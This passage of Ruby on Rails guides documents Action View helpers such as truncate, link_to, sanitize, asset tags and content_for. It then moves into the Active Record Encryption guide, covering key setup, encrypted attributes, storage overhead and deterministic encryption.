See the [`pluralize` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/TextHelper.html#method-i-pluralize) for more information.

#### [1.3.3. truncate](#truncate)

Truncates a given `text` to a given `length`. If the text is truncated, an omission marker will be appended to the result for a total length not exceeding `length`.

```
truncate("Once upon a time in a world far far away")
# => "Once upon a time in a world..."

truncate("Once upon a time in a world far far away", length: 17)
# => "Once upon a ti..."

truncate("one-two-three-four-five", length: 20, separator: "-")
# => "one-two-three..."

truncate("And they found that many people were sleeping better.", length: 25, omission: "... (continued)")
# => "And they f... (continued)"

truncate("<p>Once upon a time in a world far far away</p>", escape: false)
# => "<p>Once upon a time in a wo..."
```

See the [`truncate` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/TextHelper.html#method-i-truncate) for more information.

#### [1.3.4. word\_wrap](#word-wrap)

Wraps the text into lines no longer than `line_width` width.

```
word_wrap("Once upon a time", line_width: 8)
# => "Once\nupon a\ntime"
```

See the [`word_wrap` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/TextHelper.html#method-i-word_wrap) for more information.

## [2. Forms](#forms)

Form helpers simplify working with models compared to using standard HTML elements alone. They offer a range of methods tailored to generating forms based on your models. Some methods correspond to a specific type of input, such as text fields, password fields, select dropdowns, and more. When a form is submitted, the inputs within the form are grouped into the params object and sent back to the controller.

You can learn more about form helpers in the [Action View Form Helpers Guide](form_helpers.html).

A set of methods to build links and URLs that depend on the routing subsystem.

### [3.1. button\_to](#button-to)

Generates a form that submits to the passed URL. The form has a submit button with the value of the `name`.

```
<%= button_to "Sign in", sign_in_path %>
```

would output the following HTML:

```
<form method="post" action="/sessions" class="button_to">
  <input type="submit" value="Sign in" />
</form>
```

See the [`button_to` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) for more information.

### [3.2. current\_page?](#current-page-questionmark)

Returns true if the current request URL matches the given `options`.

```
<% if current_page?(controller: 'profiles', action: 'show') %>
  <strong>Currently on the profile page</strong>
<% end %>
```

See the [`current_page?` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/UrlHelper.html#method-i-current_page-3F) for more information.

### [3.3. link\_to](#link-to)

Links to a URL derived from `url_for` under the hood. It's commonly used to create links for RESTful resources, especially when passing models as arguments to `link_to`.

```
link_to "Profile", @profile
# => <a href="/profiles/1">Profile</a>

link_to "Book", @book # given a composite primary key [:author_id, :id]
# => <a href="/books/2_1">Book</a>

link_to "Profiles", profiles_path
# => <a href="/profiles">Profiles</a>

link_to nil, "https://example.com"
# => <a href="https://example.com">https://example.com</a>

link_to "Articles", articles_path, id: "articles", class: "article__container"
# => <a href="/articles" class="article__container" id="articles">Articles</a>
```

You can use a block if your link target can't fit in the name parameter.

```
<%= link_to @profile do %>
  <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
<% end %>
```

It would output the following HTML:

```
<a href="/profiles/1">
  <strong>David</strong> -- <span>Check it out!</span>
</a>
```

See the [`link_to` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to) for more information.

### [3.4. mail\_to](#mail-to)

Generates a `mailto` link tag to the specified email address. You can also specify the link text, additional HTML options, and whether to encode the email address.

```
mail_to "john_doe@gmail.com"
# => <a href="mailto:john_doe@gmail.com">john_doe@gmail.com</a>

mail_to "me@john_doe.com", cc: "me@jane_doe.com",
        subject: "This is an example email"
# => <a href="mailto:"me@john_doe.com?cc=me@jane_doe.com&subject=This%20is%20an%20example%20email">"me@john_doe.com</a>
```

See the [`mail_to` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/UrlHelper.html#method-i-mail_to) for more information.

### [3.5. url\_for](#url-for)

Returns the URL for the set of `options` provided.

```
url_for @profile
# => /profiles/1

url_for [ @hotel, @booking, page: 2, line: 3 ]
# => /hotels/1/bookings/1?line=3&page=2

url_for @post # given a composite primary key [:blog_id, :id]
# => /posts/1_2
```

## [4. Sanitization](#sanitization)

A set of methods for scrubbing text of undesired HTML elements. The helpers are particularly useful for helping to ensure that only safe and valid HTML/CSS is rendered. It can also be useful to prevent XSS attacks by escaping or removing potentially malicious content from user input before rendering it in your views.

This functionality is powered internally by the [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem.

### [4.1. sanitize](#sanitize)

The `sanitize` method will HTML encode all tags and strip all attributes that aren't specifically allowed.

```
sanitize @article.body
```

If either the `:attributes` or `:tags` options are passed, only the mentioned attributes and tags are allowed and nothing else.

```
sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
```

To change defaults for multiple uses, for example, adding table tags to the default:

```
# config/application.rb
class Application < Rails::Application
  config.action_view.sanitized_allowed_tags = %w(table tr td)
end
```

See the [`sanitize` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize) for more information.

### [4.2. sanitize\_css](#sanitize-css)

Sanitizes a block of CSS code, particularly when it comes across a style attribute in HTML content. `sanitize_css` is particularly useful when dealing with user-generated content or dynamic content that includes style attributes.

The `sanitize_css` method below will remove the styles that are not allowed.

```
sanitize_css("background-color: red; color: white; font-size: 16px;")
```

See the [`sanitize_css` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize_css) for more information.

### [4.3. strip\_links](#strip-links)

Strips all link tags from text leaving just the link text.

```
strip_links("<a href='https://rubyonrails.org'>Ruby on Rails</a>")
# => Ruby on Rails

strip_links("emails to <a href='mailto:me@email.com'>me@email.com</a>.")
# => emails to me@email.com.

strip_links("Blog: <a href='http://myblog.com/'>Visit</a>.")
# => Blog: Visit.
```

See the [`strip_links` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_links) for more information.

### [4.4. strip\_tags](#strip-tags)

Strips all HTML tags from the HTML, including comments and special characters.

```
strip_tags("Strip <i>these</i> tags!")
# => Strip these tags!

strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>")
# => Bold no more! See more

strip_links('<<a href="https://example.org">malformed & link</a>')
# => &lt;malformed &amp; link
```

See the [`strip_tags` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_tags) for more information.

## [5. Assets](#assets)

A set of methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.

By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting [`config.asset_host`](configuring.html#config-asset-host) in the application configuration, typically in `config/environments/production.rb`.

For example, let's say your asset host is `assets.example.com`:

```
config.asset_host = "assets.example.com"
```

then the corresponding URL for an `image_tag` would be:

```
image_tag("rails.png")
# => <img src="//assets.example.com/images/rails.png" />
```

### [5.1. audio\_tag](#audio-tag)

Generates an HTML audio tag with source(s), either as a single tag for a string source or nested source tags within an array for multiple sources. The `sources` can be full paths, files in your public audios directory, or [Active Storage attachments](active_storage_overview.html).

```
audio_tag("sound")
# => <audio src="/audios/sound"></audio>

audio_tag("sound.wav", "sound.mid")
# => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>

audio_tag("sound", controls: true)
# => <audio controls="controls" src="/audios/sound"></audio>
```

Internally, `audio_tag` uses [`audio_path` from the AssetUrlHelpers](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-audio_path) to build the audio path.

See the [`audio_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag) for more information.

### [5.2. auto\_discovery\_link\_tag](#auto-discovery-link-tag)

Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed.

```
auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" })
# => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />
```

See the [`auto_discovery_link_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag) for more information.

### [5.3. favicon\_link\_tag](#favicon-link-tag)

Returns a link tag for a favicon managed by the asset pipeline. The `source` can be a full path or a file that exists in your assets directory.

```
favicon_link_tag
# => <link href="/assets/favicon.ico" rel="icon" type="image/x-icon" />
```

See the [`favicon_link_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-favicon_link_tag) for more information.

### [5.4. image\_tag](#image-tag)

Returns an HTML image tag for the source. The `source` can be a full path or a file that exists in your `app/assets/images` directory.

```
image_tag("icon.png")
# => <img src="/assets/icon.png" />

image_tag("icon.png", size: "16x10", alt: "Edit Article")
# => <img src="/assets/icon.png" width="16" height="10" alt="Edit Article" />
```

Internally, `image_tag` uses [`image_path` from the AssetUrlHelpers](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-image_path) to build the image path.

See the [`image_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag) for more information.

### [5.5. javascript\_include\_tag](#javascript-include-tag)

Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page, or you can pass the full path relative to your document root.

```
javascript_include_tag("common")
# => <script src="/assets/common.js"></script>

javascript_include_tag("common", async: true)
# => <script src="/assets/common.js" async="async"></script>
```

Some of the most common attributes are `async` and `defer`, where `async` will allow the script to be loaded in parallel to be parsed and evaluated as soon as possible, and `defer` will indicate that the script is meant to be executed after the document has been parsed.

Internally, `javascript_include_tag` uses [`javascript_path` from the AssetUrlHelpers](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-javascript_path) to build the script path.

See the [`javascript_include_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag) for more information.

### [5.6. picture\_tag](#picture-tag)

Returns an HTML picture tag for the source. It supports passing a String, an Array, or a Block.

```
picture_tag("icon.webp", "icon.png")
```

This generates the following HTML:

```
<picture>
  <source srcset="/assets/icon.webp" type="image/webp" />
  <source srcset="/assets/icon.png" type="image/png" />
  <img src="/assets/icon.png" />
</picture>
```

See the [`picture_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-picture_tag) for more information.

### [5.7. preload\_link\_tag](#preload-link-tag)

Returns a link tag that browsers can use to preload the source. The source can be the path of a resource managed by the asset pipeline, a full path, or a URI.

```
preload_link_tag("application.css")
# => <link rel="preload" href="/assets/application.css" as="style" type="text/css" />
```

See the [`preload_link_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-preload_link_tag) for more information.

### [5.8. stylesheet\_link\_tag](#stylesheet-link-tag)

Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically.

```
stylesheet_link_tag("application")
# => <link href="/assets/application.css" rel="stylesheet" />

stylesheet_link_tag("application", media: "all")
# => <link href="/assets/application.css" media="all" rel="stylesheet" />
```

`media` is used to specify the media type for the link. The most common media types are `all`, `screen`, `print`, and `speech`.

Internally, `stylesheet_link_tag` uses [`stylesheet_path` from the AssetUrlHelpers](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-stylesheet_path) to build the stylesheet path.

See the [`stylesheet_link_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag) for more information.

### [5.9. video\_tag](#video-tag)

Generate an HTML video tag with source(s), either as a single tag for a string source or nested source tags within an array for multiple sources. The `sources` can be full paths, files in your public videos directory, or Active Storage attachments.

```
video_tag("trailer")
# => <video src="/videos/trailer"></video>

video_tag(["trailer.ogg", "trailer.flv"])
# => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>

video_tag("trailer", controls: true)
# => <video controls="controls" src="/videos/trailer"></video>
```

Internally, `video_tag` uses [`video_path` from the AssetUrlHelpers](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-video_path) to build the video path.

See the [`video_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag) for more information.

## [6. JavaScript](#javascript)

A set of methods for working with JavaScript in your views.

### [6.1. escape\_javascript](#escape-javascript)

Escapes carriage returns and single and double quotes for JavaScript segments. You would use this method to take a string of text and make sure that it doesn’t contain any invalid characters when the browser tries to parse it.

For example, if you have a partial with a greeting that contains double quotes, you can escape the greeting to use in a JavaScript alert.

```
<%# app/views/users/greeting.html.erb %>
My name is <%= current_user.name %>, and I'm here to say "Welcome to our website!"
```

```
<script>
  var greeting = "<%= escape_javascript render('users/greeting') %>";
  alert(`Hello, ${greeting}`);
</script>
```

This will escape the quotes correctly and display the greeting in an alert box.

See the [`escape_javascript` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript) for more information.

### [6.2. javascript\_tag](#javascript-tag)

Returns a JavaScript tag wrapping the provided code. You can pass a hash of options to control the behavior of the `<script>` tag.

```
javascript_tag("alert('All is good')", type: "application/javascript")
```

```
<script type="application/javascript">
//<![CDATA[
alert('All is good')
//]]>
</script>
```

Instead of passing the content as an argument, you can also use a block.

```
<%= javascript_tag type: "application/javascript" do %>
  alert("Welcome to my app!")
<% end %>
```

See the [`javascript_tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-javascript_tag) for more information.

## [7. Alternative Tags](#alternative-tags)

A set of methods to generate HTML tags programmatically.

### [7.1. tag](#tag)

Generates a standalone HTML tag with the given `name` and `options`.

Every tag can be built with:

```
tag.some_tag_name(optional content, options)
```

where tag name can be e.g. `br`, `div`, `section`, `article`, or any tag really.

For example, here are some common uses:

```
tag.h1 "All titles fit to print"
# => <h1>All titles fit to print</h1>

tag.div "Hello, world!"
# => <div>Hello, world!</div>
```

Additionally, you can pass options to add attributes to the generated tag.

```
tag.section class: %w( kitties puppies )
# => <section class="kitties puppies"></section>
```

In addition, HTML `data-*` attributes can be passed to the `tag` helper using the `data` option, with a hash containing key-value pairs of sub-attributes. The sub-attributes are then converted to `data-*` attributes that are dasherized in order to work well with JavaScript.

```
tag.div data: { user_id: 123 }
# => <div data-user-id="123"></div>
```

See the [`tag` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/TagHelper.html#method-i-tag) for more information.

### [7.2. token\_list](#token-list)

Returns a string of tokens built from the arguments provided. This method is also aliased as `class_names`.

```
token_list("cats", "dogs")
# => "cats dogs"

token_list(nil, false, 123, "", "foo", { bar: true })
# => "123 foo bar"

mobile, alignment = true, "center"
token_list("flex items-#{alignment}", "flex-col": mobile)
# => "flex items-center flex-col"
class_names("flex items-#{alignment}", "flex-col": mobile) # using the alias
# => "flex items-center flex-col"
```

## [8. Capture Blocks](#capture-blocks)

A set of methods to let you extract generated markup which can be used in other parts of a template or layout file.

It provides a method to capture blocks into variables through `capture`, and a way to capture a block of markup for use in a layout through `content_for`.

### [8.1. capture](#capture)

The `capture` method allows you to extract part of a template into a variable.

```
<% @greeting = capture do %>
  <p>Welcome! The date and time is <%= Time.current %></p>
<% end %>
```

You can then use this variable anywhere in your templates, layouts, or helpers.

```
<html>
  <head>
    <title>Welcome!</title>
  </head>
  <body>
    <%= @greeting %>
  </body>
</html>
```

The return of capture is the string generated by the block.

```
@greeting
# => "Welcome! The date and time is 2018-09-06 11:09:16 -0500"
```

See the [`capture` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CaptureHelper.html#method-i-capture) for more information.

### [8.2. content\_for](#content-for)

Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates, helper modules or the layout by passing the identifier as an argument to `yield`.

A common use case is to set the title of a page in a `content_for` block.

You define a `content_for` block in the special page's view, and then you `yield` it within the layout. For other pages, where the `content_for` block isn't utilized, it remains empty, resulting in nothing being yielded.

```
<%# app/views/users/special_page.html.erb %>
<% content_for(:html_title) { "Special Page Title" } %>
```

```
<%# app/views/layouts/application.html.erb %>
<html>
  <head>
    <title><%= content_for?(:html_title) ? yield(:html_title) : "Default Title" %></title>
  </head>
</html>
```

You'll notice that in the above example, we use the `content_for?` predicate method to conditionally render a title. This method checks whether any content has been captured yet using `content_for`, enabling you to adjust parts of your layout based on the content within your views.

Additionally, you can employ `content_for` within a helper module.

```
# app/helpers/title_helper.rb
module TitleHelper
  def html_title
    content_for(:html_title) || "Default Title"
  end
end
```

Now, you can call `html_title` in your layout to retrieve the content stored in the `content_for` block. If a `content_for` block is set on the page being rendered, such as in the case of the `special_page`, it will display the title. Otherwise, it will display the default text "Default Title".

`content_for` is ignored in caches. So you shouldn’t use it for elements that will be fragment cached.

You may be thinking what's the difference between `capture` and `content_for`?\
\
`capture` is used to capture a block of markup in a variable, while `content_for` is used to store a block of markup in an identifier for later use. Internally `content_for` actually calls `capture`. However, the key difference lies in their behavior when invoked multiple times.\
\
`content_for` can be called repeatedly, concatenating the blocks it receives for a specific identifier in the order they are provided. Each subsequent call simply adds to what's already stored. In contrast, `capture` only returns the content of the block, without keeping track of any previous invocations.

See the [`content_for` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for) for more information.

## [9. Performance](#performance)

### [9.1. benchmark](#benchmark)

Wrap a `benchmark` block around expensive operations or possible bottlenecks to get a time reading for the operation.

```
<% benchmark "Process data files" do %>
  <%= expensive_files_operation %>
<% end %>
```

This would add something like `Process data files (0.34523)` to the log, which you can then use to compare timings when optimizing your code.

This helper is a part of Active Support, and it is also available on controllers, helpers, models, etc.

See the [`benchmark` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark) for more information.

### [9.2. cache](#cache)

You can cache fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. It allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.

The `cache` method takes a block that contains the content you wish to cache.

For example, you could cache the footer of your application layout by wrapping it in a `cache` block.

```
<% cache do %>
  <%= render "application/footer" %>
<% end %>
```

You could also cache based on model instances, for example, you can cache each article on a page by passing the `article` object to the `cache` method. This would cache each article separately.

```
<% @articles.each do |article| %>
  <% cache article do %>
    <%= render article %>
  <% end %>
<% end %>
```

When your application receives its first request to this page, Rails will write a new cache entry with a unique key. A key looks something like this:

```
views/articles/index:bea67108094918eeba32cd4a6f786301/articles/1
```

See [`Fragment Caching`](caching_with_rails.html#fragment-caching) and the [`cache` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/CacheHelper.html#method-i-cache) for more information.

## [10. Miscellaneous](#miscellaneous)

### [10.1. atom\_feed](#atom-feed)

Atom Feeds are XML-based file formats used to syndicate content and can be used by users in feed readers to browse content or by search engines to help discover additional information about your site.

This helper makes building an Atom feed easy, and is mostly used in Builder templates for creating XML. Here's a full usage example:

```
# config/routes.rb
resources :articles
```

```
# app/controllers/articles_controller.rb
def index
  @articles = Article.all

  respond_to do |format|
    format.html
    format.atom
  end
end
```

```
# app/views/articles/index.atom.builder
atom_feed do |feed|
  feed.title("Articles Index")
  feed.updated(@articles.first.created_at)

  @articles.each do |article|
    feed.entry(article) do |entry|
      entry.title(article.title)
      entry.content(article.body, type: "html")

      entry.author do |author|
        author.name(article.author_name)
      end
    end
  end
end
```

See the [`atom_feed` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/AtomFeedHelper.html#method-i-atom_feed) for more information.

### [10.2. debug](#debug)

Returns a YAML representation of an object wrapped with a `pre` tag. This creates a very readable way to inspect an object.

```
my_hash = { "first" => 1, "second" => "two", "third" => [1, 2, 3] }
debug(my_hash)
```

```
<pre class="debug_dump">---
first: 1
second: two
third:
- 1
- 2
- 3
</pre>
```

See the [`debug` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DebugHelper.html#method-i-debug) for more information.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_encryption.html
----

***

Active Record Encryption exists to protect sensitive information in your application, such as personally identifiable information (PII) about your users. Active Record supports application-level encryption by allowing you to declare which attributes should be encrypted. It enables transparent encryption and decryption of attributes when saving and retrieving data.

## [1. Why Encrypt Data at the Application Level?](#why-encrypt-data-at-the-application-level-questionmark)

Encrypting specific attributes at the application level adds an additional security layer. For example, if someone gains access to your application logs or database backup, the encrypted data remains unreadable. It also helps avoid accidental exposure of sensitive information in your application console or logs.

Most importantly, this feature lets you explicitly define what data is sensitive in your code. This enables precise access control throughout your application and any connected services. For example, you can use tools like [console1984](https://github.com/basecamp/console1984) to restrict decrypted data access in the Rails console. You can also take advantage of automatic [parameter filtering](#filtering-params-named-as-encrypted-attributes) for encrypted fields.

## [2. Setup](#setup)

To start using Active Record Encryption, you need to generate keys and declare attributes you want to encrypt in the model.

### [2.1. Generate Encryption Key](#generate-encryption-key)

You can generate a random key set by running `bin/rails db:encryption:init`:

```
$ bin/rails db:encryption:init
Add this entry to the credentials of the target environment:

active_record_encryption:
  primary_key: YehXdfzxVKpoLvKseJMJIEGs2JxerkB8
  deterministic_key: uhtk2DYS80OweAPnMLtrV2FhYIXaceAy
  key_derivation_salt: g7Q66StqUQDQk9SJ81sWbYZXgiRogBwS
```

These values can be stored by copying and pasting the generated values into your existing [Rails credentials](/security.html#custom-credentials) file using `bin/rails credentials:edit`.

Alternatively, the encryption keys can also be configured from other sources, such as environment variables:

```
# config/application.rb
config.active_record.encryption.primary_key = ENV["ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY"]
config.active_record.encryption.deterministic_key = ENV["ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY"]
config.active_record.encryption.key_derivation_salt = ENV["ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT"]
```

It's recommended to use Rails built-in credentials support to store keys. If you set them manually via configuration properties, make sure you don't commit them with your code (e.g. use environment variables).

The generated values are 32 bytes in length. If you generate these yourself, the recommended minimum length is 12 bytes for the primary key and 20 bytes for the [salt](https://en.wikipedia.org/wiki/Salt_\(cryptography\)).

Once the keys are generated and stored, you can start using Active Record Encryption by declaring attributes to be encrypted in the model.

### [2.2. Declare Encrypted Attributes](#declare-encrypted-attributes)

The [`encrypts` method](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Encryption/EncryptableRecord.html#method-i-encrypts) defines the attributes to be encrypted at the model level. These are regular Active Record attributes backed by a column with the same name.

```
class Article < ApplicationRecord
  encrypts :title
end
```

Active Record Encryption will transparently encrypt these attributes before saving them to the database and will decrypt them upon retrieval. For example:

```
article = Article.create(title: "Encrypt it all!")
article.title # => "Encrypt it all!"
```

However, in the Rails console, the executed SQL looks like this:

```
INSERT INTO "articles" ("title", "created_at", "updated_at")
VALUES ('{"p":"oq+RFYW8CucALxnJ6ccx","h":{"iv":"3nrJAIYcN1+YcGMQ","at":"JBsw7uB90yAyWbQ8E3krjg=="}}', ...) RETURNING "id"
```

The value inserted is a JSON object that contains the encrypted value for the `title` attribute. More specifically, the JSON object stores two keys: `p` for payload and `h` for headers. The ciphertext, which is compressed and encoded in Base64, is stored as the payload. The `h` key stores metadata needed to decrypt the value. The `iv` value is the initialization vector and `at` is authentication tag (used to ensure the ciphertext has not been tampered with).

When looking at the `Article` in the Rails console, the encrypted attribute `title` will also be filtered:

```
my-app(dev)> Article.first
  Article Load (0.1ms)  SELECT "articles".* FROM "articles" ORDER BY "articles"."id" ASC LIMIT ?  [["LIMIT", 1]]
=> #<Article:0x00007f83fd9533b8
    id: 1,
    title: "[FILTERED]",
    created_at: Fri, 12 Sep 2025 16:57:45.753372000 UTC +00:00,
    updated_at: Fri, 12 Sep 2025 16:57:45.753372000 UTC +00:00>
```

### [2.3. Important: Storage Considerations](#important-storage-considerations)

Encrypted data takes more storage because Active Record Encryption stores additional metadata alongside the encrypted payload, and the payload itself is Base64-encoded so it can fit safely in text-based columns.

When using the built-in envelope encryption key provider, you can estimate the worst-case overhead to be around 255 bytes. This overhead is negligible for larger sizes. Encryption also uses compression by default, which can offer up to 30% storage savings over the unencrypted version for larger payloads.

When using `string` columns, it’s important to know that modern databases define the column size in terms of *number of characters*, not bytes. With encodings like UTF-8, a single character can take up to four bytes. This means that a column defined to hold N characters may actually consume up to 4 × N bytes in storage.

Since an encrypted payload is binary data serialized with Base64, it can be stored in regular a `string` column. Because it's a sequence of ASCII bytes, an encrypted column can take up to four times its clear version size. So, even if the bytes stored in the database are the same, the column must be four times bigger.

In practice, this means:

* When encrypting short texts written in Western alphabets (mostly ASCII characters), you should account for that 255 additional overhead when defining the column size.
* When encrypting short texts written in non-Western alphabets, such as Cyrillic, you should multiply the column size by 4. Notice that the storage overhead is 255 bytes at most.
* When encrypting long texts, you can ignore column size concerns.

For example:

| Content to encrypt                                | Original column size | Recommended encrypted column size | Storage overhead (worst case) |
| ------------------------------------------------- | -------------------- | --------------------------------- | ----------------------------- |
| Email addresses                                   | string(255)          | string(510)                       | 255 bytes                     |
| Short sequence of emojis                          | string(255)          | string(1020)                      | 255 bytes                     |
| Summary of texts written in non-western alphabets | string(500)          | string(2000)                      | 255 bytes                     |
| Arbitrary long text                               | text                 | text                              | negligible                    |

## [3. Basic Usage](#basic-usage)

### [3.1. Querying Encrypted Data: Deterministic vs. Non-deterministic Encryption](#querying-encrypted-data-deterministic-vs-non-deterministic-encryption)

By default, Active Record Encryption is non-deterministic, which means that encrypting the same value with the same key twice will result in *different* encrypted values (aka ciphertexts). The non-deterministic approach improves security by making crypto-analysis of ciphertexts harder. However, it also means that queries (such as `WHERE title = "Encrypt it all!"`) on encrypted values are not possible, since the same plaintext value can result in a different encrypted value that does not match the encrypted value previously stored in the JSON document.

You can use deterministic encryption if you need to query using encrypted values. For example, the `email` field on the `Author` model below:

```
class Author < ApplicationRecord
  encrypts :email, deterministic: true
end

# You can only query by email if using deterministic encryption.
Author.find_by_email("tolkien@email.com")
```

The `:deterministic` option generates initialization vectors in a deterministic way, meaning it will produce the same encrypted output given the same plaintext input value. This makes querying encrypted attributes possible by string equality comparison. For example, notice that the `p` and `iv` key in the JSON document have the same value when we create and when we query an Author's email:

```
my-app(dev)> author = Author.create(name: "J.R.R. Tolkien", email: "tolkien@email.com")
  TRANSACTION (0.1ms)  begin transaction
  Author Create (0.4ms)  INSERT INTO "authors" ("name", "email", "created_at", "updated_at") VALUES (?, ?, ?, ?) RETURNING "id"  [["name", "J.R.R. Tolkien"], ["email", "{\"p\":\"8BAc8dGXqxksThLNmKmbWG8=\",\"h\":{\"iv\":\"NgqthINGlvoN+fhP\",\"at\":\"1uVTEDmQmPfpi1ULT9Nznw==\"}}"], ["created_at", "2025-09-19 18:08:40.104634"], ["updated_at", "2025-09-19 18:08:40.104634"]]
  TRANSACTION (0.1ms)  commit transaction

my-app(dev)> Author.find_by_email("tolkien@email.com")
  Author Load (0.1ms)  SELECT "authors".* FROM "authors" WHERE "authors"."email" = ? LIMIT ?  [["email", "{\"p\":\"8BAc8dGXqxksThLNmKmbWG8=\",\"h\":{\"iv\":\"NgqthINGlvoN+fhP\",\"at\":\"1uVTEDmQmPfpi1ULT9Nznw==\"}}"], ["LIMIT", 1]]
=> #<Author:0x00007f8a396289d0
    id: 3,
    name: "J.R.R. Tolkien",
    email: "[FILTERED]",
    created_at: Fri, 19 Sep 2025 18:08:40.104634000 UTC +00:00,
    updated_at: Fri, 19 Sep 2025 18:08:40.104634000 UTC +00:00>
```

In the above example, the initialization vector, `iv`, has the value `"NgqthINGlvoN+fhP"` for the same string. Even if you use the same email string in a different model instance (or different attribute with deterministic encryption), it will map to the same `p` and `iv` values:

```
my-app(dev)> author2 = Author.create(name: "Different Author", email: "tolkien@email.com")
  TRANSACTION (0.1ms)  begin transaction
  Author Create (0.4ms)  INSERT INTO "authors" ("name", "email", "created_at", "updated_at") VALUES (?, ?, ?, ?) RETURNING "id"  [["name", "Different Author"], ["email", "{\"p\":\"8BAc8dGXqxksThLNmKmbWG8=\",\"h\":{\"iv\":\"NgqthINGlvoN+fhP\",\"at\":\"1uVTEDmQmPfpi1ULT9Nznw==\"}}"], ["created_at", "2025-09-19 18:20:11.291969"], ["updated_at", "2025-09-19 18:20:11.291969"]]
  TRANSACTION (0.1ms)  commit transaction
```

The `:deterministic` option allows for querying by trading off lesser security. The data is still encrypted but the determinism makes crypto-analysis easier. For this reason, non-deterministic encryption is recommended for all data unless you need to query by the encrypted attribute.

In non-deterministic mode, Active Record uses [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)-[GCM](https://en.wikipedia.org/wiki/Galois/Counter_Mode) with a 256-bits key and a random initialization vector. In deterministic mode, it also uses AES-GCM, but the initialization vector is not random. It is generated as a function of the key and the plaintext content ([HMAC](https://en.wikipedia.org/wiki/HMAC)-SHA-256 digest of the two).

If you do not define a `deterministic_key`, then you have effectively disabled deterministic encryption.

### [3.2. Ignoring Case](#ignoring-case)

You might want to ignore the case when querying deterministically encrypted data. There are two options for achieving this - `:downcase` and `:ignore_case`.

When you use the `:downcase` option when declaring the encrypted attribute, it converts the data to downcase before encryption occurs. This allows to effectively ignore case when querying data.

```
class Person
  encrypts :email_address, deterministic: true, downcase: true
end
```

